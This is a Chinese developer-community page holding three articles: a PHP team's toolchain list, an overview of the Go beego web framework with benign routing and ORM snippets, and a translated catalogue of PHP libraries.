LNMPS:LINUX+Nginx+Mysql+PHP+elasticsearch+redis 作者:风来了.fox 1.标准化 工具 代码(规范、格式等等) (PSR-2、PSR-4规范) 文档 人员 等等标准化,统一使用一种格式 统一开发环境  lnmp团队开发环境docker http://blog.csdn.net/fenglailea/article/details/53119285 lnmp服务器套件 http://www.lanmps.com/ 2.工具 js框架:Jquery 统一jquery版本 js框架 JQuery上传插件:uploadify,zyupload JQuery表单验证:Validform 省市区插件:city-picker 弹出层:artDialog 日期时间插件:My97 DatePicker 富文本编辑器:百度编辑器UEditor 前端整合框架:bootstrap              (我们主要用于后台) PHP版本:PHP7.X  数据库版本:MariaDB 10.1.x(mysql分支),mysql 5.7 缓存:          redis PHP框架选择:(Yii、CakePHP、CodeIgnitor、ThinkPHP等等) PHP开发工具:phpStorm PHP调试工具:Xdebug 、Socket 和 手工调试 数据库管理工具:Navicat Premium,phpmyadmin 文件代码对比工具:BCompare 文本编辑器:Notepad++,sublime text3,Visual Studio Code 服务器:Centos,Ubuntu SSH工具:XShell ,zoc7 FTP工具:XFtp,flashfxp,Transmit api接口管理工具:https://www.zhihu.com/question/30434095 Host解析:SwitchHosts 浏览器:chrome,firefox 浏览器插件:WEB前端助手(FeHelper),Host Switch 抓包工具:Fiddler,Charles,Wireshark 数据库建模 UML 流程图:百度脑图,微软流程图,processon, 本地开发环境ubuntu/MAC:lanpms套件(http://www.lanmps.com/),docker(http://blog.csdn.net/fenglailea/article/details/53119285) 开发服务器环境           :lanmps套件            项目统一测试环境和正式环境一样, 开启错误日志显示 正式服务器测试环境   :lanmps套件            项目在发布到正式环境前,最后一次测试,关闭错误日志显示 本地私有云:ownCloud,seafile 测试工具:soapui 单元测试:phpunit 代码检查: 各个代码库基本上都自带 压力测试:(jmeter+badboy)、LoadRunner,functional test,FunkLoad,Tsung,阿里云性能测试,wetest(腾讯云测) 自动化测试:UI Recorder(阿里) 3.搜索 mysql sql like搜索满足不了项目需要,所以这里使用 elasticsearch  4.版本库 GIT    开源,免费分布式版本控制系统,适合中大型团队开发    (我们使用的 Gitblit,阿里云code ,gogs) SVN  开放源码的版本控制系统 4.1 git 客户端工具 sourcetree 5.自动化部署 jenkins   配合 SVN或GIT  使用,配置自动化部署,备份,恢复 阿里CRP 6.服务器监控通知 监控工具(Nagios,监控宝等等) 通告工具(百度通告平台) 监控、通告工具介绍:http://blog.csdn.net/sylcc_/article/details/40475097 zabbix,Nagios,Ganglia,还有各种云监控 7.项目管理(测试用例、缺陷安排、日程安排等等) jira   :项目于事务跟踪工具 ,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。 confluence: 可以配合jira使用,类似 于博客文档工具 禅道项目管理 :集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体,是一款功能完备的项目管理软件,完美地覆盖了项目管理的核心流程    我们使用的是 禅道 阿里云的项目管理 8.其他因素 多绿色 多美女 多活动 多风景
文章
监控  ·  关系型数据库  ·  测试技术  ·  PHP  ·  数据库
2014-10-27
go| beego 速览
本来想做一期 beego源码解读 的, 不过作为 go 初学者, 代码量还没提上来前, 正应当多看多写, 做源码解读实在火候不够. 这里综合自己学习 beego 的一些感受:beego 官方文档beego demo融入到自己对 Web 应用框架 开发知识的积累中, 以期可以应用到自己参与的 开源项目 - Swoft 中.web framework 知识图谱: http://naotu.baidu.com/file/a045802b858c57c56c73dd2e7bda50b5?token=fccd16c1458c78bdModern High performance AOP and Coroutine PHP Framework - Swoft: https://github.com/swoft-cloud/swoft架构说架构的时, 往往会 面向业务 进行抽象, 所以经常看到的架构, 大抵都是 分层/分子系统, 一个又一个 豆腐块. web 应用其实相当 成熟 了, 需要哪些功能已经十分清楚. 这个时候, 也许更应该来关注代码.从图中可以看到, beego 架构很简单, 一言以蔽之: 组件化(或者说 模块化). 一个 web 应用, 其实就是 一组组件协同工作 的结果.Swoft1.0 的一大重要重构, 就是实现组件化. 目前在 PHP 框架中, 组件化实现最好的要算 laravel 和 symfony 了.PS: Swoft 的现状是一个组件一个 git 仓库. 更正规的方式是一个中央仓库(例如叫 framework), 所有的修改都是 fork/push 到这个仓库, 每次发版时, 中央仓库执行一个 build 脚本(使用 [https://github.com/dflydev/git-subsplit](https://github.com/dflydev/git-subsplit)) , 将 framework 下的代码推到不同的子项目仓库, 并且给每个组件仓库打一个统一的 tag. 最终所有的修改都在 framework 仓库, 组件仓库只读状态, 不接受 pr/push, 只接受 build 脚本的 split. 可以参考的 laravel 的 build 脚本: https://github.com/laravel/framework/blob/5.1/build/illuminate-split-full.sh组件化后, 可以明显减少重复造轮子, 更好的代码复用. 组件化其实很好的回答下面 2 个问题:依赖如何管理如何分享代码生命周期快速上手一个框架, 优先关注生命周期, 了解代码的执行逻辑.beego 框架生命周期: 启动应用(app) -> 一次请求进来 -> 路由(route) -> 过滤器(filter, 有的框架使用 Middleware, 作用相同) -> 控制器(Controller) -> 和各模块交互 -> 返回(response)一次请求的生命周期: context(请求上下文) -> 路由(Route, 静态文件/动态) -> 路由匹配(fixed/regex/auto) -> filter -> Controller(和各模块交互) -> filter -> 返回(response)PS: beego 中 module 意为 组件, 而在 yii 框架中, module 意为 模块, 包含一个完整的 MVC 应用, 而组件用的单词为 component. yii 的项目中是可以存在多个 module 的, 即 一个项目多个应用. 可想而知, yii 这样的功能, 最终会导致一个 超大规模的项目.app & contextapp 通常作为整个应用的抽象. PHP框架中的常见划分是 web应用 和 console应用. 不过和传统 PHP 框架最大的不同是, 传统 fpm 多进程模式下, 每次请求都需要初始化一次应用. 而在 beego 和 Swoft 下, 应用是常驻内存的, 只需要启动时初始化一次 app 即可.这也就造成了很多使用 fpm 的 PHPer 不知道 context 这个概念. context, 请求上下文, 包含一次请求的 request/response. 因为 fpm 是多进程的, 每次请求都是独立在每个进程中并且重新初始化一次应用. beego 或 Swoft 只初始化一次 app, 所以需要 context 来作为每次请求的抽象. 这也是为什么传统框架中, PHPer 依然可以使用 $_GET/$_POST 等超全局变量, 而在 Swoft 这样基于 Swoole 的框架中, 必须使用框架提供的方法. 其实质就是对 context 封装.app 和 context 的分离, 其实可说是必然, 2 者有着不同的生命周期.围绕 web 请求Model-View-Controller 这样的架构可以说是 深入人心 了, 以至于不这样的 web应用, 还会不习惯. 现实中的 web应用, 当然不止 MVC 这三个模块.url 的解析url 的解析, 包含 2 个方向:从 url 到业务代码 -> 路由模块(route)反向生成 url -> URL build 模块路由模块相对复杂, 功能会多一些:在形式上, 支持 fixed/regex/auto 方式进行匹配, 匹配顺序 fixed -> regex -> auto支持 http method, 比如某个请求只允许 GET 请求支持 restfulnamespace, 命名空间, 比如版本控制, 一部分 url 都使用 v1/ 前缀, 另一部分使用 v2/ 前缀注解(annotation) 和 自动参数匹配(auto parameter)路由注解和自动参数匹配先看代码:// @router /tasks/:id [get] func (c *TaskController) MyMethod(id int, field string) (map[string]interface{}, error) { if u, err := getObjectField(id, field); err == nil { return u, nil } else { return nil, context.NotFound } } // 省去的路由代码 beego.Router("/task/:id", &TaskController{}, "get:MyMethod") // 省去的获取参数(路由参数/请求参数)的代码 id := c.GetInt("id") field := c.GetString("field")使用注解后, 就省去了在路由中的代码, 如果全局都使用注解, 就可以省去路由文件, Swoft 就是如此做的. 至此, 我们可以对比一下路由解析形式的 4 种方式:fixed: 所见即所得, 缺点是 url 太多了就需要写很多regex: 正则匹配, 不常用, 大部分也只用在路由参数的地方, 比如 /user/[\d]+/task/[\d]+auto: 自动匹配, yii 中就是使用这种方式, 约定 url 优先匹配 Controller + Action, laravel 中的也支持 Controller 级别的自动路由annotation: 注解, 既能保持代码的简洁, 又可以保留路由模块的灵活性所以我理想中的路由形式: 大部分可以直接自动匹配, 少部分的特殊需求使用注解, 独立的路由文件可有可无.路由中使用注解, 要遵守 约定大于配置 的思想. 比如上面的示例改成这样:// @router /mission/:id [get] func (c *TaskController) MyMethod(id int, field string) (map[string]interface{}, error) { if u, err := getObjectField(id, field); err == nil { return u, nil } else { return nil, context.NotFound } }原来我只需要使用 IDE 的文件查找功能, 查找类似 TaskController 的文件, 现在就得先全局搜索 /mission, 再根据搜索结果定位到代码.自动参数匹配比较适合在参数比较少的时候使用, 这个就看个人编码习惯了, 加一个参数可以少写一行代码, 这个功能还是有必要支持的.restfulrestful 是现在比较流行的一种软件架构风格/设计风格. 以资源为核心, 配合 http method(GET/POST/PUT/DELETE) 进行资源的管理.不过现实是大部分情况下, 大家只用 GET/POST. 面对业务进行设计的时, 也很少会 以资源为核心, 怎么简单怎么来或者说怎么快怎么来. 而且要发起 PUT 请求, 你需要这样的表单:<form method="post" ...> <input type="hidden" name="_method" value="put" /> ... </form>虽然现在 restful 很流行, 很多框架也都标榜 轻松 就可以实现. 是否需要用, 还是自己判断.URL Buildingbeego 中使用 URL Building 来反向生成 url, 比如:// route beego.Router("/api/list", &TestController{}, "*:List") beego.Router("/person/:last/:first", &TestController{}) beego.AutoRouter(&TestController{}) // URL Building URLFor("TestController.List") // Output /api/list URLFor("TestController.Get", ":last", "xie", ":first", "asta") // Output /person/xie/asta URLFor("TestController.Myext") // Output /Test/Myext URLFor("TestController.GetUrl") // Output /Test/GetUrl其他框架可能会使用 url() route(), 一个表示 url, 一个表示 route(路由), 不过我倾向于 简单点, 只用 url. 虽然有些时候用 route 来表达(比如 restful) 会简单一些.其他 web 相关服务一览Form validation: 参数校验, 这个模块主要解决一些常用的参数校验, 比如 e-mail, 金额等response format: 返回值格式, 常见的有 html(view) json xml jsonp. Swoft 中推荐 返回的格式类型, 不应该由服务端指定, 而是根据客户端请求时的 Header 里面的 Accept 决定, 控制器中只用返回数据, 框架自动进行格式转换view: 视图, beego 中包含 2 个功能, 模板引擎(temple) 和 分页(pagination). 模板引擎方便组织前端代码, 这样 Controller 中只要返回数据即可; 分页也是常见的功能, yii/laravel 在这方面做得很极致, 不仅有分页, 还有其他页面相关的组件Filters: 过滤器, 其他框架中可能使用 Middleware(中间件), 功能类似, 其实就是将一部分功能从业务中隔离, 比如网站开启维护状态, user authentication, log visiting, compatibility switching.Flash Messages: 一次性通知消息, 其实是一次性的 消息 - 订阅 功能, 比如页面上通知操作成功Error Handling: 错误处理, 在 web 请求中, 通常配合 http code + redirect + error pageSession: session/cookie 其实很简单, 无论什么框架, 变来变去就那么几个方法, 更重要的是知道 -- 有什么用; 有哪些方法; 使用不同的驱动Model简单说: 如何和数据打交道. 其实上面的 session / cookie / flash message 等, 都在不同场合下和数据打交道, 这里讲讲数据更原始的地方:和关系型数据库打交道, 如 mysql和文档型数据库打交道, 如 MongoDB和键值型数据库打交道, 如 redis, 通常用作缓存, 也可用作 session主要说一下和关系型数据库打交道, 通常涉及一下几个方面:对数据库连接进行抽象, 这样可以方便 切换数据库, 切换主从 等对数据的抽象, 比如一个 Model 类对一个张数据表, 从而方便的实现 CRUD 功能对 sql 语句的抽象: raw, 支持原生语句的执行; QuerySeter, 对 sql 原语的抽象, 比如 > = < like 等操作符; queryBuilder, 拼接 sql 语句支持数据库事务(transaction), 要注意事务的写法, 如果发生嵌套如何写// beego 中的 transaction o := NewOrm() err := o.Begin() // transaction process ... ... // All the query which are using o Ormer in this process are in the transaction if SomeError { err = o.Rollback() } else { err = o.Commit() }支持表的关联(relation), 比如在 yii 中, 只要定义一个方法, 就可以在查询当前表时, 将关联表的数据, 自动赋值给当前表对象的属性中// beego 中的 relation type Post struct { Id int `orm:"auto"` Title string `orm:"size(100)"` User *User `orm:"rel(fk)"` } var posts []*Post qs := o.QueryTable("post") num, err := qs.Filter("User__Name", "slene").All(&posts更多 more想要做好一个框架, 还需要在很多地方下功夫.配置管理beego 的配置模块非常简单易用:单层配置, 没有复杂的嵌套, 如果希望嵌套, 也推荐 db.user / db.password 这样用统一分隔符的写法对不同环境支持通过 include 关键字, 加载其他配置文件不同格式(format)支持: ini / xml / yaml / json配置的划分: basic/app/web/http/session/log. 配置的划分, 在一定程度上提现了架构的设计和模块的划分. 一个的好的框架, 只需要简单的修改配置, 就可以实现不同的功能. 推荐好好看一下配置.安全安全也是框架必须提供的功能之一, 一个原因是很多人可能没有积累这一块的知识. 不过安全相关的功能, 通常是散落在框架之中:csrf(xsrf): 非 GET 请求要注意是否开启 XSRF 防护. 开启则需要给表单或者 ajax 请求中添加 csrf tokensql 注入: 使用参数绑定即可解决, 要注意在写 原生 sql 时是否可能导致 sql 注入还有很业务关联性比较强的:图片验证码手机验证码防刷其他更多安全的内容, 可以参考 laravel/yii 框架的官方文档, 平时也要注意积累这方面的知识.日志日志也是必备功能, 做好日志, 既可以方便了解系统运行状态, 也方便在出问题的时候还原问题发生的轨迹.用法: 日志通常是全局可用, 一般简单的 Log::info($message) 即可日志级别: log level, 标准给日志划分了很多级别, 但实际中, 通常开始都使用简单的划分, info 记录信息, error 需要马上处理日志输入: output, 可以将日志输出到不同地方yii 框架中日志功能更加精细, 包含 logger - dispatch - target 三个角色, 同时日志在 level 的基础上, 还可以细分 category / tag 等. 另外日志可能还需要有的功能:flush, 刷新, 比如 1000 条后再输出(落地). 缓冲(buffer) 的思想可以说在系统设计中比比皆是.切片, 比如说日志按照时间日切, 或者按照大小 10m 一切其他Live Monitor: 实时监控热更新: 一方面是开发过程中, 如果修改后就需要去喝杯咖啡, 效率就可想而知了, 在传统 fpm 下, 不用担心这个问题, 但是在应用常驻内存情况下, 或者像 go 这样需要编译后运行, 就很有必要做好热更新了; 另一方面是上线, 传统 fpm 是进程逐步重启, Swoft 基于 Swoole, 也支持这样的机制, beego 这部分还在开发中文档: 可以编辑(支持 github 更好); 支持上一页/下一页; 支持文档总目录, 支持当前文档目录(TOC); 支持搜索功能. 当然, 功能之外还需要美观, beego 目前支持的功能不多, Swoole 和 Swoft 文档功能支持还不错api doc: 自动生成 api 文档, beego 使用的 swagger, 简单且功能满足大部分场景辅助工具(命令行工具): beego 提供了 bee 工具, 可以用来快速生成空项目, 生成代码. 类似工具 laravel/yii 框架都有支持, Swoft 则正在完善这部分i18n: 国际化, 使用和实现上都简单CI, 目前 github 上的开源项目, 基本都在使用 travis CI, 可以参考项目下的 .travis.yml 文件, 也可以使用 gitlab Jenkins 等开源工具进行集成deploy: 发布, go 程序复制编译的可执行文件即可. 不过推荐还是使用 docker其他可以做的, 还有很多, 比如:添加 demo, 学习完文档后可以练手toolbox / util 等更多辅助功能第三方(third-part)功能集成
文章
SQL  ·  XML  ·  安全  ·  前端开发  ·  关系型数据库  ·  中间件  ·  Go  ·  PHP  ·  数据库  ·  数据格式
2021-12-14
推荐!国外程序员整理的 PHP 资源大全
推荐!国外程序员整理的 PHP 资源大全 2014/08/02 · PHP, 工具与资源 · 8.5K 阅读 · 1 评论 · php 分享到:0 与《YII框架》不得不说的故事—安全篇 R语言入门 HTML5离线应用实战演练 JS插件开发之LightBox图片画廊(上) 本文由 伯乐在线 - cucr 翻译,黄利民 校稿。未经许可,禁止转载!英文出处:github.com。欢迎加入翻译组。 ziadoz 在 Github 发起维护的一个 PHP 资源列表,内容包括:库、框架、模板、安全、代码分析、日志、第三方库、配置工具、Web 工具、书籍、电子书、经典博文等等。 依赖管理 依赖和包管理库 Composer/Packagist:一个包和依赖管理器 Composer Installers:一个多框架Composer库安装器 Pickle:一个PHP扩展安装器   其他的依赖管理 其他的相关依赖管理 Satis:一个静态Composer存储库生成器 Composition:一个在运行时检查Composer环境的库 Version:语义版本的解析和比较库 NameSpacer -转化下划线到命名空间的库 Patch Installer -使用Composer安装补丁的库 Composer Checker -校验Composer配置的工具   框架 Web开发框架 Symfony2 -一个独立组件组成的框架 Zend Framework 2 -另一个由独立组件组成的框架 Laravel 4 -另一个PHP框架 Aura PHP -独立组件的框架 Yii2 - 另一个PHP框架 Nette - 另一个由个体组件组成的框架 PPI Framework 2 -一个互操作性框架 Phalcon -通过C扩展实现的框架   其他框架 其他Web开发框架 Symfony CMF - 创建自定义CMS的内容管理框架 Knp RAD Bundle -Symfony 2的快速应用程序(RAD)包   框架组件 来自web开发框架的独立组件 Symfony2 Components -Symfony2组件 Zend Framework 2 Components -ZF2组件 Aura Components -PHP5.4组件包 Hoa Project -另一个PHP组件包   微型框架 微型框架和路由 Silex - 基于Symfony2组件的微型框架 Slim - 另一个简单的微型框架 Bullet PHP -用于构建REST APIs的微型框架 Fast Route - 快速路由库 Pux -另一个快速路由库   其他微型框架 其他相关的微型框架和路由 Silex Skeleton -Silex的项目架构 Silex Web Profiler -Silex web调试工具条 Stack - Silex/Symfony的可堆叠中间件库 Slim Skeleton -Slim架构 Slim View -Slim的自定义视图集合 Slim Middleware -Slim的自定义中间件集合   模板 模板化和词法分析的库和工具 Twig -一个全面的模板语言 Twig Cache Extension -一个用于Twig的模板片段缓存库 Mustache -一个Mustache模板语言的PHP实现 Phly Mustache -另一个Mustache模板语言的PHP实现 MtHaml - 一个HAML 模板语言的PHP实现 PHPTAL -一个 TAL 模板语言的PHP实现 Plates -一个原生PHP模板库 Lex -一个轻量级模板解析器   静态站点生成器 预处理工具来生成web页面的内容。 Sculpin -转换Markdown和Twig为静态HTML的工具 Phrozn - 另一个转换Textile,Markdown和Twig为HTML的工具   HTTP 用于HTTP和网站爬取的库 Guzzle -一个全面的HTTP客户端 Buzz -另一个HTTP客户端 Requests -一个简单的HTTP库 HTTPFul -一个链式HTTP库 Goutte -一个简单的web爬取器 PHP VCR -录制和重放HTTP请求的库   URL 解析URL的库 Purl -一个URL处理库 PHP Domain Parser -一个本地前缀解析库   Email 发送和解析邮件的库 SwiftMailer - 一个邮件解决方案 PHPMailer - 另一个邮件解决方案 Fetch -一个IMAP库 Email Reply Parser -一个邮件回复解析库 Stampie -邮件服务库,不如 SendGrid, PostMark, MailGun 和 Mandrill. CssToInlineStyles -一个在邮件模板内联CSS的库   文件 文件处理和MIME类型检测库 Gaufrette -一个文件系统抽象层 Flysystem - 另一个文件系统抽象层 Canal -一个检测互联网媒体类型的库 Apache MIME Types -一个解析Apache MIME类型的库 Ferret - 一个MIME检测库 Hoa Mime -另一个MIME检测库 Lurker -一个资源跟踪库 PHP File Locator -一个在大型项目定位文件的库 PHP FFmpeg -一个用于FFmpeg 视频包装的库. CSV - 一个CSV数据处理库   Streams 流 处理流的库 Streamer - 一个面向对象的流包装库   Dependency Injection依赖注入 实现依赖注入设计模式的库 Pimple - 一个小的依赖注入容器 Auryn - 另一个依赖注入容器 Orno Di -另一个可伸缩的依赖注入容器 PHP DI -一个使用注释实现的依赖注入 Acclimate -一个依赖注入容器和服务定位的通用接口   Imagery 图像 处理图像的库 Imagine -一个图像处理库 PHP Image Workshop -另一个图像处理库 Intervention Image -另一个图像处理库 GIF Frame Extractor -一个提取GIF动画帧信息的库 GIF Creator - 一个通过多张图片创建GIF动画的库 Image With Text -一个在图像中嵌入文本的库 Color Extractor -一个从图像中提取颜色的库   Testing 测试 测试代码和生成测试数据的库 PHPUnit -一个单元测试框架 DBUnit -PHPUnit的数据库测试库 ParaTest - PHPUnit的并行测试库 PHPSpec -基于功能点设计的单元测试库 Codeception -一个全栈测试框架 AspectMock -  PHPUnit/ Codeception 模拟框架。 Atoum -一个简单的测试库 Mockery -一个用测试的模拟对象库 Phake -另一个用测试的模拟对象库 Prophecy -一个可选度很高的模拟框架 Faker -一个伪数据生成库 Samsui - 另一个伪数据生成库 Alice -富有表现力的一代库 Behat -一个行为驱动开发(BDD)测试框架 Pho -一个行为驱动开发测试框架 Mink -Web验收测试 HTTP Mock - 一个在单元测试模拟HTTP请求的库 VFS Stream -一个用于测试的虚拟文件系统流的包装器 VFS -另一个用于测试虚拟文件系统 Locust -一个用Python编写的现代加载测试库   Continuous Integration 持续集成 持续集成的库和应用 Travis CI - 一个持续集成平台 PHPCI -一个PHP的开源持续集成平台 Sismo - 一个持续测试服务库 Jenkins一个 PHP 支持的持续集成平台 JoliCi - 一个用PHP编写的由Docker支持的持续集成客户端   Documentation 文档 生成项目文档的库 Sami -一个API文档生成器 APIGen -另一个API文档生成器 PHP Documentor 2 -一个API文档生成器 phpDox - 一个PHP项目的文档生成器(不限于API文档)   Security 安全 生成安全的随机数,加密数据,扫描漏洞的库 HTML Purifier -一个兼容标准的HTML过滤器 RandomLib -一个生成随机数和字符串的库 True Random -使用 www.random.org生成随机数的库 SecurityMultiTool -一个PHP安全库 PHPSecLib -一个纯PHP安全通信库 TCrypto -一个简单的键值加密存储库 PHP IDS - 一个结构化的PHP安全层 PHP SSH -一个试验的面向对象的SSH包装库 IniScan -一个扫描PHP INI文件安全的库 SensioLabs Security Check -一个为检查Composer依赖提供安全建议的web工具 Zed - 一个集成的web应用渗透测试工具   Passwords 密码 处理和存储密码的库和工具 Password Compat -一个新的PHP5.5密码函数的兼容库 phpass - 一个便携式的密码哈希框架 PHP Password Lib -一个生成和校验密码的库 Password Policy - 一个PHP和JavaScript的密码策略库 Password Validator - 校验和升级密码哈希的库 Zxcvbn PHP -一个基于Zxcvbn JS的现实的PHP密码强度估计库   Code Analysis 代码分析 分析,解析和处理代码库的库的工具 PHP Parser -一个PHP编写的PHP解析器 PHPPHP - 一个PHP实现的PHP虚拟机 PHPSandbox -一个PHP沙盒环境 Dissect -一个词法和语法分析的工具集合 PHP Mess Detector -一个扫描代码缺陷,次优代码,未使用的参数等等的库。 PHP Code Sniffer -一个检测PHP、CSS和JS代码标准冲突的库 PHPCPD - 一个检测复制和粘贴代码的库 PHP Analyser -一个分析PHP代码查找缺陷和错误的库 PHP CS Fixer - 一个编码标准库 PHP Manipulator -一个分析和修改PHP源代码的库 PHP Metrics -一个静态测量库 PHP Refactoring Browser -一个重构PHP代码的命令行工具集 UBench - 一个简单的微型基准检测库 Athletic -一个基于注释的基准检测库 Mondrian - 使用使用图论的代码分析工具 Scrutinizer -一个审查PHP代码的web工具 PHPLOC -一个快速测量PHP项目大小的工具 xHprof -另一个PHP分析工具 PHPCheckstyle -一个帮助遵守特定的编码惯例的工具。   Debugging 调试 调试代码的库和工具 xDebug -一个调试和分析PHP的工具 PHP Debug Bar - 一个调试工具栏 PHP Console -一个web调试控制台 Barbushin PHP Console -另一个使用Google Chrome的web调试控制台 PHPDBG - 一个交互的PHP调试器 Tracy -一个简单的错误检测,写日志和时间测量库   Build Tools 构建工具 项目构建和自动化工具 Go -一个简单的PHP构建工具 Bob - 一个简单的项目自动化工具 Phake -一个PHP克隆库 Box - 一个构建PHAR文件的工具 Phing -一个灵感来自于Apache Ant的PHP项目构建系统   Task Runners 任务运行器 自动运行任务的库 Task -一个灵感来源于Grunt和Gulp的纯PHP任务运行器 Robo -一个面向对象配置的PHP任务运行器 Bldr -一个构建在Symfony组件上的PHP任务运行器   Navigation导航 构建导航结构的工具 KnpMenu - 一个菜单库 Cartographer -一个站点地图生成库   Asset Management 资源管理 管理,压缩和最小化web站点资源的工具 Assetic - 一个资源管理的管道库 Pipe -另一个资源管理的管道库 Munee -一个资源优化库 JShrink -一个JavaScript最小化库 Puli - 一个检测资源绝对路径的库   Geolocation 地理位置 为地理编码地址和使用纬度经度的库。 GeoCoder -一个地理编码库 GeoTools -一个地理工具相关的库 PHPGeo -一个简单的地理库 GeoJSON -一个地理JSON的实现   Date and Time 日期和时间 处理日期和时间的库 Carbon - 一个简单的日期时间API扩展 ExpressiveDate -另一个日期时间API扩展 CalendR - 一个日历管理库   Event 事件 时间驱动或非阻塞事件循环实现的库 React -一个事件驱动的非阻塞I/O库 Rx.PHP - 一个reactive扩展库 Ratchet - 一个web套接字库 Hoa WebSocket -另一个web套接字库 Hoa EventSource -一个事件源库 Evenement -一个事件分发库 FuelPHP Event -另一个事件分发库   Logging 日志 生成和处理日志文件的库 Monolog - 一个全面的日志工具 KLogger -一个易用的PSR-3兼容的日志类   E-commerce 电子商务 处理支付和构建在线电子商务商店的库和应用 OmniPay -一个框架混合了多网关支付处理的库 Payum - 一个支付抽象库 Sylius - 一个开源的电子商务解决方案 Thelia -另一个开源的电子商务解决方案 Money - 一个Fowler金钱模式的PHP实现 Sebastian Money -另一个处理货币值的库 Swap -一个汇率库   PDF 处理PDF文件的库和软件 Snappy -一个PDF和图像生成器库 WKHTMLToPDF -一个将HTML转换为PDF的工具   Database 数据库 使用对象关系映射(ORM)或数据映射技术的数据库交互库 Doctrine -一个全面的DBAL和ORM Doctrine Extensions -一个Doctrine行为扩展的集合 Propel - 一个快速的ORM,迁移库和查询构架器 Eloquent -Laravel 4 ORM Baum -一个Eloquent的嵌套集实现 Spot2 -一个MySQL的ORM映射器 RedBean -一个轻量级,低配置的ORM Pomm -一个PostgreSQL对象模型管理器 ProxyManager -一个为数据映射生成代理对象的工具集   Migrations 迁移 帮助管理数据库模式和迁移的库 PHPMig -另一个迁移管理库 Phinx - 另一个数据库迁移管理库 Migrations -一个迁移管理库 Doctrine Migrations -一个Doctrine迁移库   NoSQL 处理NoSQL后端的库 MongoQB -一个MongoDB查询构建库 Monga -一个MongoDB抽象库 Predis - 一个功能完整的Redis库   Queue 队列 处理事件和任务队列的库 Pheanstalk -一个Beanstalkd 客户端库 PHP AMQP -一个纯PHP AMQP库 Thumper - 一个RabbitMQ模式库 Bernard -一个多后端抽象库   Search 搜索 在数据上索引和执行查询的库和软件 ElasticSearch PHP -ElasticSearch的官方客户端库 Elastica -ElasticSearch的客户端库 Solarium -Solr的客户端库 SphinxQL query builder -Sphinx搜索引擎的的查询库   Command Line 命令行 构建命令行工具的库 Boris - 一个微型PHP REPL PsySH - 另一个微型PHP REPL Pecan -一个事件驱动和非阻塞内核 GetOpt - 一个命令行选择解析器 OptParse -另一个命令行选择解析器 Commando -另一个简单的命令行选择解析器 GetOptionKit -另一个命令行选择解析器 Cron Expression -计算cron运行日期的库 ShellWrap -一个简单的命令行包装库 Hoa Console -另一个命令行库 Shunt - 一个在多台远程机器上并行运行命令行的库 Cilex -一个构建命令行工具的微型框架   Authentication 身份验证 实现身份验证的库 Sentry -一个混合的身份验证和授权的框架库 Sentry Social -一个社交网络身份验证库 Opauth -一个多渠道的身份验证框架 OAuth2 -一个OAuth2身份验证服务,资源服务器和客户端库 OAuth2 Server -另一个OAuth2服务器实现 PHP oAuthLib -另一个OAuth库 TwitterOAuth -一个Twitter OAuth库 TwitterSDK -一个完全测试的Twitter SDK Hawk -一个Hawk HTTP身份认证库 HybridAuth -一个开源的社交登陆库   Markup 标记 处理标记的库 Decoda -一个轻量级标记解析库 PHP Markdown -一个Markdown解析器 CommonMark PHP -一个对 CommonMark spec全支持的Markdown解析器 Dflydev Markdown -另一个Markdown解析器 Parsedown -另一个Markdown解析器 Ciconia - 另一个支持Github Markdown风格的Markdown解析器 Cebe Markdown -一个快速的可扩展的Markdown解析器 HTML5 PHP - 一个HTML5解析和序列化库   Strings 字符串 解析和处理字符串的库 ANSI to HTML5 -ANSI到HTML5的转化库 Patchwork UTF-8 -一个处理UTF-8字符串的便携库 Hoa String -另一个UTF-8字符串库 Stringy -一个多字节支持的字符串处理库 Color Jizz -处理和转换颜色的库 UUID - 生成UUIDs的库 Slugify -转换字符串到slug的库 Urlify - 一个Django的 URLify.jsPHP通道 Text - 一个文本处理库 SQL Formatter -一个格式化SQL语句的库 UA Parser - 一个解析用户代理字符串的库   Numbers 数字 处理数字的库 Numbers PHP -处理数字的库 Math -处理大数字的库 ByteUnits - 在二进制和度量系统中解析,格式化和转换字节单元的库 PHP Units of Measure -一个计量单位转换的库 PHP Conversion - 另一个计量单位转换的库 LibPhoneNumber for PHP -Google电话号码处理的PHP实现库   Filtering and Validation 过滤和验证 过滤和验证数据的库 Filterus - 一个简单的PHP过滤库 Respect Validate -一个简单的验证库 Valitron -另一个验证库 Upload - 一个处理文件上传和验证的库 DMS Filter - 一个注释过滤库 MetaYaml -一个支持YAML,JSON和XML的模式验证库 ISO-codes -验证各种ISO和ZIP编码的库(IBAN, SWIFT/BIC, BBAN, VAT, SSN, UKNIN)    REST和API 开发REST-ful API的库和web工具 Apigility -一个使用Zend Framework 2构建的API构建器 Hateoas -一个HOATEOAS REST web服务库 HAL -一个超文本应用语言(HAL)构建库 Negotiation -一个内容协商库 Drest -一个将Doctrine实体暴露为REST资源节点的库 Restler -一个将PHP方法暴露为RESTful web API的轻量级框架   Caching 缓存 缓存数据的库 Alternative PHP Cache (APC) - 打开PHP伪代码缓存 Cache -一个缓存库(Doctrine部分) Stash -另一个缓存库   数据结构和存储 实现数据结构和存储技术的库 Ardent -一个数据结构库 PHP Collections - 一个简单的集合库 Serializer -一个序列化和反序列化数据的库 PHP Object Storage -一个对象存储库 Fractal -一个转换复杂数据结构到JSON输出的库 Totem -一个管理和穿件数据交换集的库 PINQ -一个PHP实时Linq库 JsonMapper -一个将内嵌JSON结构映射为PHP类的库   Notifications 通知 处理通知软件的库 Nod -一个通知库(Growl等) Notificato - 一个处理推送通知的库 Notification Pusher -一个设备推送通知的独立库 Notificator -一个轻量级的通知库   Deployment 部署 项目部署库 Pomander -一个PHP应用部署工具 Rocketeer -PHP世界里的一个快速简单的部署器 Envoy -一个用PHP运行SSH任务的工具 Plum - 一个部署库   国际化和本地化 国际化(I18n)和本地化(L10n) Aura.Intl   第三方API 访问第三方API的库 Amazon Web Service SDK - PHP AWS SDK官方库 S3 Stream Wrapper -Amazon S3流包装库 Stripe -Stripe官方PHP库 Campaign Monitor -Campaign Monitor官方PHP库 Digital Ocean -Digital Ocean API 接口库 Github - Github API交互库 PHP Github API -另一个Github API交互库 Twitter OAuth -Twitter OAuth工作流交互库 Twitter REST - Twitter REST API交互库 Dropbox SDK - The official PHP Dropbox SDK library. Dropbox SDK - Dropbox SDK官方PHP库 Twilio - The official Twilio PHP REST API. Twilio - Twilio官方PHP REST API Mailgun The official Mailgun PHP API. Mailgun Mailgun官方PHP REST API   Extensions 扩展 帮组构建PHP扩展的库 Zephir 